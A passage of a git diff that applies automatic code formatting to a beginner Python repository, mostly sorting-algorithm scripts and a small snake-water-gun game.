10 matches and the one who won max matches will win Let's start") +elif b == "Y" or b == "y": + print( + "There will be 10 matches and the one who won max matches will win Let's start" + ) i = 0 score = 0 -while run and i<10: +while run and i < 10: comp_choice = random.choice(li) user_choice = input("Type s for snake,w for water or g for gun: ").lower() @@ -41,21 +50,21 @@ class bcolors: print(bcolors.HEADERS + "Game draws.Play again" + bcolors.ENDC) elif user_choice == "s" and comp_choice == "g": - print(bcolors.FAIL +"It's Snake v/s Gun You lose!" + bcolors.ENDC) + print(bcolors.FAIL + "It's Snake v/s Gun You lose!" + bcolors.ENDC) elif user_choice == "s" and comp_choice == "w": print(bcolors.OKGREEN + "It's Snake v/s Water. You won" + bcolors.ENDC) - score += 1 + score += 1 elif user_choice == "w" and comp_choice == "s": - print(bcolors.FAIL +"It's Water v/s Snake You lose!" + bcolors.ENDC) + print(bcolors.FAIL + "It's Water v/s Snake You lose!" + bcolors.ENDC) elif user_choice == "w" and comp_choice == "g": print(bcolors.OKGREEN + "It's Water v/s Gun. You won" + bcolors.ENDC) - score +=1 + score += 1 elif user_choice == "g" and comp_choice == "w": - print(bcolors.FAIL +"It's Gun v/s Water You lose!" + bcolors.ENDC) + print(bcolors.FAIL + "It's Gun v/s Water You lose!" + bcolors.ENDC) elif user_choice == "g" and comp_choice == "s": print(bcolors.OKGREEN + "It's Gun v/s Snake. You won" + bcolors.ENDC) @@ -64,7 +73,7 @@ class bcolors: else: print("Wrong input") continue - + i += 1 print(f"{10-i} matches left") @@ -72,8 +81,18 @@ class bcolors: print(f"Your score is {score} and the final result is...") time.sleep(3) if score > 5: - print(bcolors.OKGREEN + bcolors.BOLD + "Woooh!!!!!!! Congratulations you won" + bcolors.ENDC) + print( + bcolors.OKGREEN + + bcolors.BOLD + + "Woooh!!!!!!! Congratulations you won" + + bcolors.ENDC + ) elif score == 5: print("Game draws!!!!!!!") elif score < 5: - print(bcolors.FAIL + bcolors.BOLD + "You lose!!!.Better luck next time" + bcolors.ENDC) + print( + bcolors.FAIL + + bcolors.BOLD + + "You lose!!!.Better luck next time" + + bcolors.ENDC + ) diff --git a/Sorting Algorithims/Binary_Insertion_Sort.py b/Sorting Algorithims/Binary_Insertion_Sort.py index 1ece615053f..3bc6e857ebd 100644 --- a/Sorting Algorithims/Binary_Insertion_Sort.py +++ b/Sorting Algorithims/Binary_Insertion_Sort.py @@ -1,10 +1,10 @@ def Binary_Search(Test_arr, low, high, k): if high >= low: - Mid = (low+high)//2 + Mid = (low + high) // 2 if Test_arr[Mid] < k: - return Binary_Search(Test_arr, Mid+1, high, k) + return Binary_Search(Test_arr, Mid + 1, high, k) elif Test_arr[Mid] > k: - return Binary_Search(Test_arr, low, Mid-1, k) + return Binary_Search(Test_arr, low, Mid - 1, k) else: return Mid else: @@ -14,7 +14,7 @@ def Binary_Search(Test_arr, low, high, k): def Insertion_Sort(Test_arr): for i in range(1, len(Test_arr)): val = Test_arr[i] - j = Binary_Search(Test_arr[:i], 0, len(Test_arr[:i])-1, val) + j = Binary_Search(Test_arr[:i], 0, len(Test_arr[:i]) - 1, val) Test_arr.pop(i) Test_arr.insert(j, val) return Test_arr @@ -23,4 +23,4 @@ def Insertion_Sort(Test_arr): if __name__ == "__main__": Test_list = input("Enter the list of Numbers: ").split() Test_list = [int(i) for i in Test_list] - print(f"Binary Insertion Sort: {Insertion_Sort(Test_list)}") \ No newline at end of file + print(f"Binary Insertion Sort: {Insertion_Sort(Test_list)}") diff --git a/Sorting Algorithims/Bubble_Sorting_Prog.py b/Sorting Algorithims/Bubble_Sorting_Prog.py index adf7719f039..20c56177a90 100644 --- a/Sorting Algorithims/Bubble_Sorting_Prog.py +++ b/Sorting Algorithims/Bubble_Sorting_Prog.py @@ -1,14 +1,14 @@ def bubblesort(list): -# Swap the elements to arrange in order - for iter_num in range(len(list)-1,0,-1): + # Swap the elements to arrange in order + for iter_num in range(len(list) - 1, 0, -1): for idx in range(iter_num): - if list[idx]>list[idx+1]: + if list[idx] > list[idx + 1]: temp = list[idx] - list[idx] = list[idx+1] - list[idx+1] = temp + list[idx] = list[idx + 1] + list[idx + 1] = temp -list = [19,2,31,45,6,11,121,27] +list = [19, 2, 31, 45, 6, 11, 121, 27] bubblesort(list) print(list) diff --git a/Sorting Algorithims/Bubble_sort.py b/Sorting Algorithims/Bubble_sort.py index c01099a30ec..b7dca090474 100644 --- a/Sorting Algorithims/Bubble_sort.py +++ b/Sorting Algorithims/Bubble_sort.py @@ -1,16 +1,19 @@ def bubble_sort(Lists): for i in range(len(Lists)): - for j in range(len(Lists)-1): + for j in range(len(Lists) - 1): # We check whether the adjecent number is greater or not - if Lists[j]>Lists[j+1]: - Lists[j], Lists[j+1] = Lists[j+1], Lists[j] + if Lists[j] > Lists[j + 1]: + Lists[j], Lists[j + 1] = Lists[j + 1], Lists[j] -#Lets the user enter values of an array and verify by himself/herself + +# Lets the user enter values of an array and verify by himself/herself array = [] -array_length = int(input(print("Enter the number of elements of array or enter the length of array"))) +array_length = int( + input(print("Enter the number of elements of array or enter the length of array")) +) for i in range(array_length): value = int(input(print("Enter the value in the array"))) array.append(value) - -bubble_sort(array) + +bubble_sort(array) print(array) diff --git a/Sorting Algorithims/Count sort.py b/Sorting Algorithims/Count sort.py index 57db33403e6..6b689c226cd 100644 --- a/Sorting Algorithims/Count sort.py +++ b/Sorting Algorithims/Count sort.py @@ -1,15 +1,16 @@ def counting_sort(array1, max_val): m = max_val + 1 - count = [0] * m - + count = [0] * m + for a in array1: - # count occurences - count[a] += 1 + # count occurences + count[a] += 1 i = 0 - for a in range(m): - for c in range(count[a]): + for a in range(m): + for c in range(count[a]): array1[i] = a i += 1 return array1 -print(counting_sort( [1, 2, 7, 3, 2, 1, 4, 2, 3, 2, 1], 7 )) + +print(counting_sort([1, 2, 7, 3, 2, 1, 4, 2, 3, 2, 1], 7)) diff --git a/Sorting Algorithims/Counting Sort.py b/Sorting Algorithims/Counting Sort.py index 94103d5afc8..d4b790f6d03 100644 --- a/Sorting Algorithims/Counting Sort.py +++ b/Sorting Algorithims/Counting Sort.py @@ -1,4 +1,5 @@ -# Python program for counting sort +# Python program for counting sort + def countingSort(array): size = len(array) diff --git a/Sorting Algorithims/Counting-sort.py b/Sorting Algorithims/Counting-sort.py index 9bb7e782968..09da6b6390b 100644 --- a/Sorting Algorithims/Counting-sort.py +++ b/Sorting Algorithims/Counting-sort.py @@ -1,44 +1,44 @@ -#python program for counting sort (updated) -n=int(input("please give the number of elements\n")) +# python program for counting sort (updated) +n = int(input("please give the number of elements\n")) print("okey now plase enter n numbers seperated by spaces") -tlist=list(map(int,input().split())) +tlist = list(map(int, input().split())) k = max(tlist) n = len(tlist) def counting_sort(tlist, k, n): - - """ Counting sort algo with sort in place. - Args: - tlist: target list to sort - k: max value assume known before hand - n: the length of the given list - map info to index of the count list. - Adv: - The count (after cum sum) will hold the actual position of the element in sorted order - Using the above, - + + """Counting sort algo with sort in place. + Args: + tlist: target list to sort + k: max value assume known before hand + n: the length of the given list + map info to index of the count list. + Adv: + The count (after cum sum) will hold the actual position of the element in sorted order + Using the above, + """ # Create a count list and using the index to map to the integer in tlist. - count_list = [0]*(k+1) + count_list = [0] * (k + 1) # iterate the tgt_list to put into count list - for i in range(0,n): - count_list[tlist[i]] += 1 - - # Modify count list such that each index of count list is the combined sum of the previous counts + for i in range(0, n): + count_list[tlist[i]] += 1 + + # Modify count list such that each index of count list is the combined sum of the previous counts # each index indicate the actual position (or sequence) in the output sequence. - for i in range(1,k+1): - count_list[i] = count_list[i] + count_list[i-1] - - flist = [0]*(n) - for i in range(n-1,-1,-1): - count_list[tlist[i]] =count_list[tlist[i]]-1 - flist[count_list[tlist[i]]]=(tlist[i]) + for i in range(1, k + 1): + count_list[i] = count_list[i] + count_list[i - 1] + + flist = [0] * (n) + for i in range(n - 1, -1, -1): + count_list[tlist[i]] = count_list[tlist[i]] - 1 + flist[count_list[tlist[i]]] = tlist[i] return flist + flist = counting_sort(tlist, k, n) print(flist) - diff --git a/Sorting Algorithims/Cycle Sort.py b/Sorting Algorithims/Cycle Sort.py index ba43bc8c2a4..20dca703907 100644 --- a/Sorting Algorithims/Cycle Sort.py +++ b/Sorting Algorithims/Cycle Sort.py @@ -1,51 +1,53 @@ -# Python program to impleament cycle sort - -def cycleSort(array): - writes = 0 - - # Loop through the array to find cycles to rotate. - for cycleStart in range(0, len(array) - 1): - item = array[cycleStart] - - # Find where to put the item. - pos = cycleStart - for i in range(cycleStart + 1, len(array)): - if array[i] < item: - pos += 1 - - # If the item is already there, this is not a cycle. - if pos == cycleStart: - continue - - # Otherwise, put the item there or right after any duplicates. - while item == array[pos]: - pos += 1 - array[pos], item = item, array[pos] - writes += 1 - - # Rotate the rest of the cycle. - while pos != cycleStart: - - # Find where to put the item. - pos = cycleStart - for i in range(cycleStart + 1, len(array)): - if array[i] < item: - pos += 1 - - # Put the item there or right after any duplicates. - while item == array[pos]: - pos += 1 - array[pos], item = item, array[pos] - writes += 1 - - return writes - -# driver code -arr = [1, 8, 3, 9, 10, 10, 2, 4 ] -n = len(arr) -cycleSort(arr) - -print("After sort : ") -for i in range(0, n) : - print(arr[i], end=' ') -print() # Print a newline +# Python program to impleament cycle sort + + +def cycleSort(array): + writes = 0 + + # Loop through the array to find cycles to rotate. + for cycleStart in range(0, len(array) - 1): + item = array[cycleStart] + + # Find where to put the item. + pos = cycleStart + for i in range(cycleStart + 1, len(array)): + if array[i] < item: + pos += 1 + + # If the item is already there, this is not a cycle. + if pos == cycleStart: + continue + + # Otherwise, put the item there or right after any duplicates. + while item == array[pos]: + pos += 1 + array[pos], item = item, array[pos] + writes += 1 + + # Rotate the rest of the cycle. + while pos != cycleStart: + + # Find where to put the item. + pos = cycleStart + for i in range(cycleStart + 1, len(array)): + if array[i] < item: + pos += 1 + + # Put the item there or right after any duplicates. + while item == array[pos]: + pos += 1 + array[pos], item = item, array[pos] + writes += 1 + + return writes + + +# driver code +arr = [1, 8, 3, 9, 10, 10, 2, 4] +n = len(arr) +cycleSort(arr) + +print("After sort : ") +for i in range(0, n): + print(arr[i], end=" ") +print() # Print a newline diff --git a/Sorting Algorithims/Heap sort.py b/Sorting Algorithims/Heap sort.py index c26613640ae..0faa66a7836 100644 --- a/Sorting Algorithims/Heap sort.py +++ b/Sorting Algorithims/Heap sort.py @@ -3,45 +3,47 @@ # To heapify subtree rooted at index i. # n is size of heap def heapify(arr, n, i): - largest = i # Initialize largest as root - l = 2 * i + 1 # left = 2*i + 1 - r = 2 * i + 2 # right = 2*i + 2 + largest = i # Initialize largest as root + l = 2 * i + 1 # left = 2*i + 1 + r = 2 * i + 2 # right = 2*i + 2 - # See if left child of root exists and is - # greater than root - if l < n and arr[i] < arr[l]: - largest = l + # See if left child of root exists and is + # greater than root + if l < n and arr[i] < arr[l]: + largest = l - # See if right child of root exists and is - # greater than root - if r < n and arr[largest] < arr[r]: - largest = r + # See if right child of root exists and is + # greater than root + if r < n and arr[largest] < arr[r]: + largest = r - # Change root, if needed - if largest != i: - arr[i],arr[largest] = arr[largest],arr[i] # swap + # Change root, if needed + if largest != i: + arr[i], arr[largest] = arr[largest], arr[i] # swap + + # Heapify the root. + heapify(arr, n, largest) - # Heapify the root. - heapify(arr, n, largest) # The main function to sort an array of given size def heapSort(arr): - n = len(arr) + n = len(arr) + + # Build a maxheap. + # Since last parent will be at ((n//2)-1) we can start at that location. + for i in range(n // 2 - 1, -1, -1): + heapify(arr, n, i) - # Build a maxheap. - # Since last parent will be at ((n//2)-1) we can start at that location. - for i in range(n // 2 - 1, -1, -1): - heapify(arr, n, i) + # One by one extract elements + for i in range(n - 1, 0, -1): + arr[i], arr[0] = arr[0], arr[i] # swap + heapify(arr, i, 0) - # One by one extract elements - for i in range(n-1, 0, -1): - arr[i], arr[0] = arr[0], arr[i] # swap - heapify(arr, i, 0) # Driver code to test above -arr = [ 12, 11, 13, 5, 6, 7] +arr = [12, 11, 13, 5, 6, 7] heapSort(arr) n = len(arr) -print ("Sorted array is") +print("Sorted array is") for i in range(n): - print ("%d" %arr[i]), + print("%d" % arr[i]), diff --git a/Sorting Algorithims/Iterative Merge Sort.py b/Sorting Algorithims/Iterative Merge Sort.py index 7da817bd929..63173b6bf5c 100644 --- a/Sorting Algorithims/Iterative Merge Sort.py +++ b/Sorting Algorithims/Iterative Merge Sort.py @@ -1,83 +1,84 @@ -# Iterative Merge sort (Bottom Up) - -# Iterative mergesort function to -# sort arr[0...n-1] -def mergeSort(a): - - current_size = 1 - - # Outer loop for traversing Each - # sub array of current_size - while current_size < len(a) - 1: - - left = 0 - # Inner loop for merge call - # in a sub array - # Each complete Iteration sorts - # the iterating sub array - while left < len(a)-1: - - # mid index = left index of - # sub array + current sub - # array size - 1 - mid = min((left + current_size - 1),(len(a)-1)) - - # (False result,True result) - # [Condition] Can use current_size - # if 2 * current_size < len(a)-1 - # else len(a)-1 - right = ((2 * current_size + left - 1, - len(a) - 1)[2 * current_size - + left - 1 > len(a)-1]) - - # Merge call for each sub array - merge(a, left, mid, right) - left = left + current_size*2 - - # Increasing sub array size by - # multiple of 2 - current_size = 2 * current_size - -# Merge Function -def merge(a, l, m, r): - n1 = m - l + 1 - n2 = r - m - L = [0] * n1 - R = [0] * n2 - for i in range(0, n1): - L[i] = a[l + i] - for i in range(0, n2): - R[i] = a[m + i + 1] - - i, j, k = 0, 0, l - while i < n1 and j < n2: - if L[i] > R[j]: - a[k] = R[j] - j += 1 - else: - a[k] = L[i] - i += 1 - k += 1 - - while i < n1: - a[k] = L[i] - i += 1 - k += 1 - - while j < n2: - a[k] = R[j] - j += 1 - k += 1 - - -# Driver code -a = [12, 11, 13, 5, 6, 7] -print("Given array is ") -print(a) - -mergeSort(a) - -print("Sorted array is ") -print(a) +# Iterative Merge sort (Bottom Up) + +# Iterative mergesort function to +# sort arr[0...n-1] +def mergeSort(a): + + current_size = 1 + + # Outer loop for traversing Each + # sub array of current_size + while current_size < len(a) - 1: + + left = 0 + # Inner loop for merge call + # in a sub array + # Each complete Iteration sorts + # the iterating sub array + while left < len(a) - 1: + + # mid index = left index of + # sub array + current sub + # array size - 1 + mid = min((left + current_size - 1), (len(a) - 1)) + + # (False result,True result) + # [Condition] Can use current_size + # if 2 * current_size < len(a)-1 + # else len(a)-1 + right = (2 * current_size + left - 1, len(a) - 1)[ + 2 * current_size + left - 1 > len(a) - 1 + ] + + # Merge call for each sub array + merge(a, left, mid, right) + left = left + current_size * 2 + + # Increasing sub array size by + # multiple of 2 + current_size = 2 * current_size + + +# Merge Function +def merge(a, l, m, r): + n1 = m - l + 1 + n2 = r - m + L = [0] * n1 + R = [0] * n2 + for i in range(0, n1): + L[i] = a[l + i] + for i in range(0, n2): + R[i] = a[m + i + 1] + + i, j, k = 0, 0, l + while i < n1 and j < n2: + if L[i] > R[j]: + a[k] = R[j] + j += 1 + else: + a[k] = L[i] + i += 1 + k += 1 + + while i < n1: + a[k] = L[i] + i += 1 + k += 1 + + while j < n2: + a[k] = R[j] + j += 1 + k += 1 + + +# Driver code +a = [12, 11, 13, 5, 6, 7] +print("Given array is ") +print(a) + +mergeSort(a) + +print("Sorted array is ") +print(a) # This code is contributed by mohd-mehraj. diff --git a/Sorting Algorithims/Linear_Insertion_Sort.py b/Sorting Algorithims/Linear_Insertion_Sort.py index e2997c7e9af..5c195097ba9 100644 --- a/Sorting Algorithims/Linear_Insertion_Sort.py +++ b/Sorting Algorithims/Linear_Insertion_Sort.py @@ -2,7 +2,7 @@ def Linear_Search(Test_arr, val): index = 0 for i in range(len(Test_arr)): if val > Test_arr[i]: - index = i+1 + index = i + 1 return index @@ -18,4 +18,4 @@ def Insertion_Sort(Test_arr): if __name__ == "__main__": Test_list = input("Enter the list of Numbers: ").split() Test_list = [int(i) for i in Test_list] - print(f"Binary Insertion Sort: {Insertion_Sort(Test_list)}") \ No newline at end of file + print(f"Binary Insertion Sort: {Insertion_Sort(Test_list)}") diff --git a/Sorting Algorithims/Merge Sort.py b/Sorting Algorithims/Merge Sort.py index 6c467993ec0..537b8b8857e 100644 --- a/Sorting Algorithims/Merge Sort.py +++ b/Sorting Algorithims/Merge Sort.py @@ -75,4 +75,4 @@ def mergeSort(arr, l, r): mergeSort(arr, 0, n - 1) print("\n\nSorted array is") for i in range(n): - print("%d" % arr[i]), \ No newline at end of file + print("%d" % arr[i]), diff --git a/Sorting Algorithims/Merge-sort.py b/Sorting Algorithims/Merge-sort.py index 7c57953821b..e9d1167e5d3 100644 --- a/Sorting Algorithims/Merge-sort.py +++ b/Sorting Algorithims/Merge-sort.py @@ -5,47 +5,47 @@ n = int(input("Enter number of elements in the list: ")) # taking value from user for i in range(n): - temp = int(input("Enter element" + str(i + 1) + ': ')) - lst.append( temp ) - - -def merge( ori_lst, left, mid, right ): - L, R = [], [] # PREPARE TWO TEMPORARY LIST TO HOLD ELEMENTS - for i in range( left, mid ): # LOADING - L.append( ori_lst[i] ) - for i in range( mid, right ): # LOADING - R.append( ori_lst[i] ) - base = left # FILL ELEMENTS BACK TO ORIGINAL LIST START FROM INDEX LEFT - # EVERY LOOP CHOOSE A SMALLER ELEMENT FROM EITHER LIST - while len(L) > 0 and len(R) > 0: - if L[0] < R[0]: - ori_lst[base] = L[0] - L.remove( L[0] ) - else: - ori_lst[base] = R[0] - R.remove( R[0] ) - base += 1 - # UNLOAD THE REMAINER - while len( L ) > 0: - ori_lst[base] = L[0] - L.remove( L[0] ) - base += 1 - while len( R ) > 0: - ori_lst[base] = R[0] - R.remove( R[0] ) - base += 1 - # ORIGINAL LIST SHOULD BE SORTED FROM INDEX LEFT TO INDEX RIGHT - - -def merge_sort( L, left, right ): - if left+1 >= right: # ESCAPE CONDITION - return - mid = left + ( right - left ) // 2 - merge_sort( L, left, mid ) # LEFT - merge_sort( L, mid, right ) # RIGHT - merge( L, left, mid, right ) # MERGE - - -print( "UNSORTED -> ", lst ) -merge_sort( lst, 0, n ) -print( "SORTED -> ", lst ) + temp = int(input("Enter element" + str(i + 1) + ": ")) + lst.append(temp) + + +def merge(ori_lst, left, mid, right): + L, R = [], [] # PREPARE TWO TEMPORARY LIST TO HOLD ELEMENTS + for i in range(left, mid): # LOADING + L.append(ori_lst[i]) + for i in range(mid, right): # LOADING + R.append(ori_lst[i]) + base = left # FILL ELEMENTS BACK TO ORIGINAL LIST START FROM INDEX LEFT + # EVERY LOOP CHOOSE A SMALLER ELEMENT FROM EITHER LIST + while len(L) > 0 and len(R) > 0: + if L[0] < R[0]: + ori_lst[base] = L[0] + L.remove(L[0]) + else: + ori_lst[base] = R[0] + R.remove(R[0]) + base += 1 + # UNLOAD THE REMAINER + while len(L) > 0: + ori_lst[base] = L[0] + L.remove(L[0]) + base += 1 + while len(R) > 0: + ori_lst[base] = R[0] + R.remove(R[0]) + base += 1 + # ORIGINAL LIST SHOULD BE SORTED FROM INDEX LEFT TO INDEX RIGHT + + +def merge_sort(L, left, right): + if left + 1 >= right: # ESCAPE CONDITION + return + mid = left + (right - left) // 2 + merge_sort(L, left, mid) # LEFT + merge_sort(L, mid, right) # RIGHT + merge(L, left, mid, right) # MERGE + + +print("UNSORTED -> ", lst) +merge_sort(lst, 0, n) +print("SORTED -> ", lst) diff --git a/Sorting Algorithims/Quick sort.py b/Sorting Algorithims/Quick sort.py index 43ffc83a708..bae2d7f3d2b 100644 --- a/Sorting Algorithims/Quick sort.py +++ b/Sorting Algorithims/Quick sort.py @@ -1,5 +1,5 @@ def partition(arr, low, high): - i = (low - 1) # index of smaller element + i = low - 1 # index of smaller element pivot = arr[high] # pivot for j in range(low, high): @@ -12,7 +12,7 @@ def partition(arr, low, high): arr[i], arr[j] = arr[j], arr[i] arr[i + 1], arr[high] = arr[high], arr[i + 1] - return (i + 1) + return i + 1 # The main function that implements QuickSort @@ -43,4 +43,4 @@ def quickSort(arr, low, high): quickSort(arr, 0, n - 1) print("Sorted array is:") for i in range(n): - print("%d" % arr[i]), \ No newline at end of file + print("%d" % arr[i]), diff --git a/Sorting Algorithims/Quick_Sort.py b/Sorting Algorithims/Quick_Sort.py index a4f485749d8..03d3a9b20b4 100644 --- a/Sorting Algorithims/Quick_Sort.py +++ b/Sorting Algorithims/Quick_Sort.py @@ -1,7 +1,6 @@ - def partition(arr, low, high): - i = (low - 1) - pivot = arr[high] + i = low - 1 + pivot = arr[high] for j in range(low, high): if arr[j] <= pivot: @@ -9,7 +8,8 @@ def partition(arr, low, high): arr[i], arr[j] = arr[j], arr[i] arr[i + 1], arr[high] = arr[high], arr[i + 1] - return (i + 1) + return i + 1 + def quickSort(arr, low, high): if low < high: @@ -29,9 +29,9 @@ def quickSort(arr, low, high): # patch-4 # for i in range(0,n): # ======= -for i in range(0,len(arr)): -# master - print(arr[i],end=" ") +for i in range(0, len(arr)): + # master + print(arr[i], end=" ") -#your code is best but now it is easy to understand +# your code is best but now it is easy to understand # master diff --git a/Sorting Algorithims/Shell Sort.py b/Sorting Algorithims/Shell Sort.py index 47db5cf8878..dc01735b12b 100644 --- a/Sorting Algorithims/Shell Sort.py +++ b/Sorting Algorithims/Shell Sort.py @@ -1,47 +1,48 @@ -# Python program for implementation of Shell Sort +# Python program for implementation of Shell Sort -def shellSort(arr): - # Start with a big gap, then reduce the gap - n = len(arr) - gap = n/2 +def shellSort(arr): - # Do a gapped insertion sort for this gap size. - # The first gap elements a[0..gap-1] are already in gapped - # order keep adding one more element until the entire array - # is gap sorted - while gap > 0: + # Start with a big gap, then reduce the gap + n = len(arr) + gap = n / 2 - for i in range(gap,n): + # Do a gapped insertion sort for this gap size. + # The first gap elements a[0..gap-1] are already in gapped + # order keep adding one more element until the entire array + # is gap sorted + while gap > 0: - # add a[i] to the elements that have been gap sorted - # save a[i] in temp and make a hole at position i - temp = arr[i] + for i in range(gap, n): - # shift earlier gap-sorted elements up until the correct - # location for a[i] is found - j = i - while j >= gap and arr[j-gap] >temp: - arr[j] = arr[j-gap] - j -= gap + # add a[i] to the elements that have been gap sorted + # save a[i] in temp and make a hole at position i + temp = arr[i] - # put temp (the original a[i]) in its correct location - arr[j] = temp - gap /= 2 + # shift earlier gap-sorted elements up until the correct + # location for a[i] is found + j = i + while j >= gap and arr[j - gap] > temp: + arr[j] = arr[j - gap] + j -= gap + # put temp (the original a[i]) in its correct location + arr[j] = temp + gap /= 2 -# Driver code to test above -arr = [ 12, 34, 54, 2, 3] -n = len(arr) -print ("Array before sorting:") -for i in range(n): - print(arr[i]), +# Driver code to test above +arr = [12, 34, 54, 2, 3] -shellSort(arr) +n = len(arr) +print("Array before sorting:") +for i in range(n): + print(arr[i]), -print ("\nArray after sorting:") -for i in range(n): - print(arr[i]), +shellSort(arr) + +print("\nArray after sorting:") +for i in range(n): + print(arr[i]), # This code is contributed by mohd-mehraj diff --git a/Sorting Algorithims/Sort the values of first list using second list.py b/Sorting Algorithims/Sort the values of first list using second list.py index e5cc4f2a787..61bfa9cad10 100644 --- a/Sorting Algorithims/Sort the values of first list using second list.py +++ b/Sorting Algorithims/Sort the values of first list using second list.py @@ -1,22 +1,23 @@ # one list using # the other list - + + def sort_list(list1, list2): - + zipped_pairs = zip(list2, list1) - + z = [x for _, x in sorted(zipped_pairs)] - + return z - - + + # driver code x = ["a", "b", "c", "d", "e", "f", "g", "h", "i"] -y = [ 0, 1, 1, 0, 1, 2, 2, 0, 1] - +y = [0, 1, 1, 0, 1, 2, 2, 0, 1] + print(sort_list(x, y)) - + x = ["g", "e", "e", "k", "s", "f", "o", "r", "g", "e", "e", "k", "s"] -y = [ 0, 1, 1, 0, 1, 2, 2, 0, 1] - +y = [0, 1, 1, 0, 1, 2, 2, 0, 1] + print(sort_list(x, y)) diff --git a/Sorting Algorithims/Sorted_Inserted_Linked_List.py b/Sorting Algorithims/Sorted_Inserted_Linked_List.py index 1fa9314b36f..4c13db7fd54 100644 --- a/Sorting Algorithims/Sorted_Inserted_Linked_List.py +++ b/Sorting Algorithims/Sorted_Inserted_Linked_List.py @@ -28,7 +28,7 @@ def Sorted_Insert(self, new_node): def Display(self): temp = self.head if self.head is not None: - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next if temp == self.head: diff --git a/Sorting Algorithims/SortingAStringAlphabetically.py b/Sorting Algorithims/SortingAStringAlphabetically.py index f4ebe04a29c..ff8d82549d1 100644 --- a/Sorting Algorithims/SortingAStringAlphabetically.py +++ b/Sorting Algorithims/SortingAStringAlphabetically.py @@ -3,7 +3,7 @@ my_str = "Hello this Is an Example With cased letters" # To take input from the user -#my_str = input("Enter a string: ") +# my_str = input("Enter a string: ") # breakdown the string into a list of words words = my_str.split() @@ -15,4 +15,4 @@ print("The sorted words are:") for word in words: - print(word) + print(word) diff --git a/Sorting Algorithims/Sorting_List.py b/Sorting Algorithims/Sorting_List.py index bb2e48ef8a3..c3ac61ba660 100644 --- a/Sorting Algorithims/Sorting_List.py +++ b/Sorting Algorithims/Sorting_List.py @@ -14,16 +14,16 @@ def Insert_At_End(self, new_data): self.head = new_node return current = self.head - while(current.next): + while current.next: current = current.next current.next = new_node def Sort(self): temp = self.head - while(temp): + while temp: minn = temp after = temp.next - while(after): + while after: if minn.data > after.data: minn = after after = after.next @@ -34,7 +34,7 @@ def Sort(self): def Display(self): temp = self.head - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next print("None") diff --git a/Sorting Algorithims/Tim_sort.py b/Sorting Algorithims/Tim_sort.py index 788a3c1678c..9cbbb313e5d 100644 --- a/Sorting Algorithims/Tim_sort.py +++ b/Sorting Algorithims/Tim_sort.py @@ -1,121 +1,125 @@ -''' Author : Mohit Kumar +""" Author : Mohit Kumar Tim Sort implemented in python Time Complexity : O(n log(n)) Space Complexity :O(n) -''' +""" -# Python3 program to perform TimSort. -RUN = 32 - -# This function sorts array from left index to -# to right index which is of size atmost RUN -def insertionSort(arr, left, right): - - for i in range(left + 1, right+1): - - temp = arr[i] - j = i - 1 - while j >= left and arr[j] > temp : - - arr[j+1] = arr[j] +# Python3 program to perform TimSort. +RUN = 32 + +# This function sorts array from left index to +# to right index which is of size atmost RUN +def insertionSort(arr, left, right): + + for i in range(left + 1, right + 1): + + temp = arr[i] + j = i - 1 + while j >= left and arr[j] > temp: + + arr[j + 1] = arr[j] j -= 1 - - arr[j+1] = temp - -# merge function merges the sorted runs -def merge(arr, l, m, r): - - # original array is broken in two parts - # left and right array - len1, len2 = m - l + 1, r - m - left, right = [], [] - for i in range(0, len1): - left.append(arr[l + i]) - for i in range(0, len2): - right.append(arr[m + 1 + i]) - - i, j, k = 0, 0, l - # after comparing, we merge those two array - # in larger sub array - while i < len1 and j < len2: - - if left[i] <= right[j]: - arr[k] = left[i] - i += 1 - - else: - arr[k] = right[j] - j += 1 - + + arr[j + 1] = temp + + +# merge function merges the sorted runs +def merge(arr, l, m, r): + + # original array is broken in two parts + # left and right array + len1, len2 = m - l + 1, r - m + left, right = [], [] + for i in range(0, len1): + left.append(arr[l + i]) + for i in range(0, len2): + right.append(arr[m + 1 + i]) + + i, j, k = 0, 0, l + # after comparing, we merge those two array + # in larger sub array + while i < len1 and j < len2: + + if left[i] <= right[j]: + arr[k] = left[i] + i += 1 + + else: + arr[k] = right[j] + j += 1 + + k += 1 + + # copy remaining elements of left, if any + while i < len1: + + arr[k] = left[i] k += 1 - - # copy remaining elements of left, if any - while i < len1: - - arr[k] = left[i] - k += 1 i += 1 - - # copy remaining element of right, if any - while j < len2: - arr[k] = right[j] + + # copy remaining element of right, if any + while j < len2: + arr[k] = right[j] k += 1 j += 1 - -# iterative Timsort function to sort the -# array[0...n-1] (similar to merge sort) -def timSort(arr, n): - - # Sort individual subarrays of size RUN - for i in range(0, n, RUN): - insertionSort(arr, i, min((i+31), (n-1))) - - # start merging from size RUN (or 32). It will merge - # to form size 64, then 128, 256 and so on .... - size = RUN - while size < n: - - # pick starting point of left sub array. We - # are going to merge arr[left..left+size-1] - # and arr[left+size, left+2*size-1] - # After every merge, we increase left by 2*size - for left in range(0, n, 2*size): - - # find ending point of left sub array - # mid+1 is starting point of right sub array - mid = left + size - 1 - right = min((left + 2*size - 1), (n-1)) - - # merge sub array arr[left.....mid] & - # arr[mid+1....right] - merge(arr, left, mid, right) - - size = 2*size - -# utility function to print the Array -def printArray(arr, n): - - for i in range(0, n): - print(arr[i], end = " ") - print() - -if __name__ == "__main__": - - n = int(input('Enter size of array\n')) - print('Enter elements of array\n') - - arr = list(map(int ,input().split())) - print("Given Array is") - printArray(arr, n) - - timSort(arr, n) - - print("After Sorting Array is") - printArray(arr, n) -''' + +# iterative Timsort function to sort the +# array[0...n-1] (similar to merge sort) +def timSort(arr, n): + + # Sort individual subarrays of size RUN + for i in range(0, n, RUN): + insertionSort(arr, i, min((i + 31), (n - 1))) + + # start merging from size RUN (or 32). It will merge + # to form size 64, then 128, 256 and so on .... + size = RUN + while size < n: + + # pick starting point of left sub array. We + # are going to merge arr[left..left+size-1] + # and arr[left+size, left+2*size-1] + # After every merge, we increase left by 2*size + for left in range(0, n, 2 * size): + + # find ending point of left sub array + # mid+1 is starting point of right sub array + mid = left + size - 1 + right = min((left + 2 * size - 1), (n - 1)) + + # merge sub array arr[left.....mid] & + # arr[mid+1....right] + merge(arr, left, mid, right) + + size = 2 * size + + +# utility function to print the Array +def printArray(arr, n): + + for i in range(0, n): + print(arr[i], end=" ") + print() + + +if __name__ == "__main__": + + n = int(input("Enter size of array\n")) + print("Enter elements of array\n") + + arr = list(map(int, input().split())) + print("Given Array is") + printArray(arr, n) + + timSort(arr, n) + + print("After Sorting Array is") + printArray(arr, n) + +""" OUTPUT : Enter size of array : 5 @@ -124,5 +128,4 @@ def printArray(arr, n): After Sorting Array is 1 2 3 4 5 -''' - +""" diff --git a/Sorting 